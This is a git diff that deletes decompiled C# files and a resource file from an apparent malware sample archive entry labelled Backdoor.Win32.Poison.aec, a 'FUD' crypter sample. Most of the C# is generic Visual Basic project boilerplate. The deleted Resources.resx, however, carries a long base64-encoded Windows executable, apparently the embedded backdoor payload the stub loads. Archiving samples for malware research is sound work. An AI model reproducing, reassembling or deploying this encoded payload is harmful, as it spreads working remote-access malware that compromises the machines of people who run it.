[DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyProject.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyProject.cs deleted file mode 100644 index eaeb32e5..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FUD.My.MyProject -// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace FUD.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MySettings.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MySettings.cs deleted file mode 100644 index d8e523c0..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FUD.My.MySettings -// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace FUD.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MySettingsProperty.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MySettingsProperty.cs deleted file mode 100644 index eba657aa..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FUD.My.MySettingsProperty -// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace FUD.My -{ - [StandardModule] - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/Resources/Resources.cs b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/Resources/Resources.cs deleted file mode 100644 index 7dcc7cc6..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/My/Resources/Resources.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FUD.My.Resources.Resources -// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace FUD.My.Resources -{ - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) FUD.My.Resources.Resources.resourceMan, (object) null)) - FUD.My.Resources.Resources.resourceMan = new ResourceManager("FUD.Resources", typeof (FUD.My.Resources.Resources).Assembly); - return FUD.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => FUD.My.Resources.Resources.resourceCulture; - set => FUD.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] nevv => (byte[]) RuntimeHelpers.GetObjectValue(FUD.My.Resources.Resources.ResourceManager.GetObject(nameof (nevv), FUD.My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Resources.resx b/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Resources.resx deleted file mode 100644 index 5a995fd5..00000000 --- a/MSIL/Backdoor/Win32/P/Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49/Resources.resx +++ /dev/null @@ -1,279 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - sAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K - JAAAAAAAAAC9D8va+W6liflupYn5bqWJd3G2if1upYkFTreJ+G6liVJpY2j5bqWJAAAAAAAAAABQRQAA - TAECAPPqgEcAAAAAAAAAAOAADwELAQUMAAIAAAAgAAAAAAAACAIAAAACAAAABAAAAABAAAACAAAAAgAA - BAAAAAQAAAAEAAAAAAAAAAAkAAAAAgAAUEoAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA - AAAAABwCAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAC50ZXh0AAAAaAAAAAACAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAOwfAAAABAAA - ACAAAAAEAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAABMAgAAAAAAALgABEAA/9BqAOgAAAAA/yUAAkAA - RAIAAAAAAAAAAAAAWgIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEwCAAAAAAAAgABFeGl0UHJvY2Vz - cwBrZXJuZWwzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - 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 - iIUz+f//aA4D5eb/tV/7//9qAOhA9f//C8B1EmiULNWH/7U/+///agDoKvX//4mFDfH//42Ff/T//1Bq - AGoA/5UJ8f//iUX8/5UN8f//PbcAAAAPhKsAAAD/dfz/lSXx//+AvYz9//8BdH2NtYTw///oAAAAAF+B - 71cRAADoNAAAANkAUQXpAEsA5QCdAN0A6gD9AJoBAQHsAAUB7wAJAWYADQFrABEBAAEVAR4AGQEeAB0B - AABZD7cRiTwyZoN5AgB0Cw+3UQID+oPBBOvog71Z8f//AHQHVv+VWfH//1b/lV3x///rHOgAAAAAWC3O - EQAA/3X4UI2FhPD//1D/lYj9//9hycMPBAgAU3R1YlBhdGgYBCgAU09GVFdBUkVcQ2xhc3Nlc1xodHRw - XHNoZWxsXG9wZW5cY29tbWFuZFYENQBTb2Z0d2FyZVxNaWNyb3NvZnRcQWN0aXZlIFNldHVwXEluc3Rh - bGxlZCBDb21wb25lbnRzXPoKBABTQlMykAETAA9zYnMxMi5uby1pcC5iaXoAhA2MAQQAAAAAAMECBAD/ - ////RQEFAGFkbWluCQ0BAAESDgQASEtMTfsDCQApIVZvcUEuSTQtAQwAa2VybmVzMzIuZXhl9wMBAAIS - DQEAAfgDAQAB+QMBAAEIDQEAAfoDAQABAAAKDaEAVYvsg8T8i3UIaP8AAACNvhMNAABX/5atAAAA6C4A - AABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4AV/+WgQAAAIC+rwgA - AAF1B7kCAACA6wW5AQAAgI1F/FBoPwAPAGoAV1H/VjVo/wAAAI2GsQYAAFBqAWoAjYYSDgAAUP91/P9W - Pf91/P9WMcnCBADVAMUAVYvsi3UIgL73AwAAAH4HVv+WAA0AAIC++AMAAAF1MLgBAAAAgL73AwAAAH4U - jb6xBgAAV42+sgUAAFf/ls0AAAALwHQKjb6yBQAAV/9WUYC+9gMAAAF1CWoAVv+W9QAAAIC+CQ0AAAF1 - 